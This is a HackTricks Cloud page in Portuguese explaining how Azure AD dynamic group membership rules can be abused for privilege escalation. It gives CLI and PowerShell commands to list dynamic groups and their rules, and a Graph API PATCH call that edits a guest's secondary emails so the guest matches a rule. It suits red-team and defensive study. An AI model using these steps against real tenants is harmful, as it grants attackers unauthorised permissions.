Az - Dynamic Groups Privesc
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Dynamic groups são grupos que têm um conjunto de regras configuradas e todos os usuários ou dispositivos que correspondem às regras são adicionados ao grupo. Toda vez que um atributo de um usuário ou dispositivo é alterado, as regras dinâmicas são rechecadas. E quando uma nova regra é criada, todos os dispositivos e usuários são verificados.
Dynamic groups podem ter Azure RBAC roles assigned a eles, mas não é possível adicionar AzureAD roles a dynamic groups.
Esse recurso requer licença Azure AD premium P1.
Privesc
Note que por padrão qualquer usuário pode convidar convidados no Azure AD, então, se uma regra de dynamic group concede permissões a usuários com base em atributos que podem ser definidos em um novo convidado, é possível criar um convidado com esses atributos e escalar privilégios. Também é possível que um convidado gerencie seu próprio perfil e altere esses atributos.
Get groups that allow Dynamic membership: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Dynamic Groups Enumeration
Get the rules of a dynamic group:
With Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
Com PowerShell e Microsoft Graph SDK:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
Exemplo
- Exemplo de regra:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Descrição da regra: Qualquer usuário convidado com um e-mail secundário contendo a string ‘security’ será adicionado ao grupo
Para o e-mail do usuário convidado, aceite o convite e verifique as configurações atuais de esse usuário em https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Infelizmente a página não permite modificar os valores dos atributos, então precisamos usar a API:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

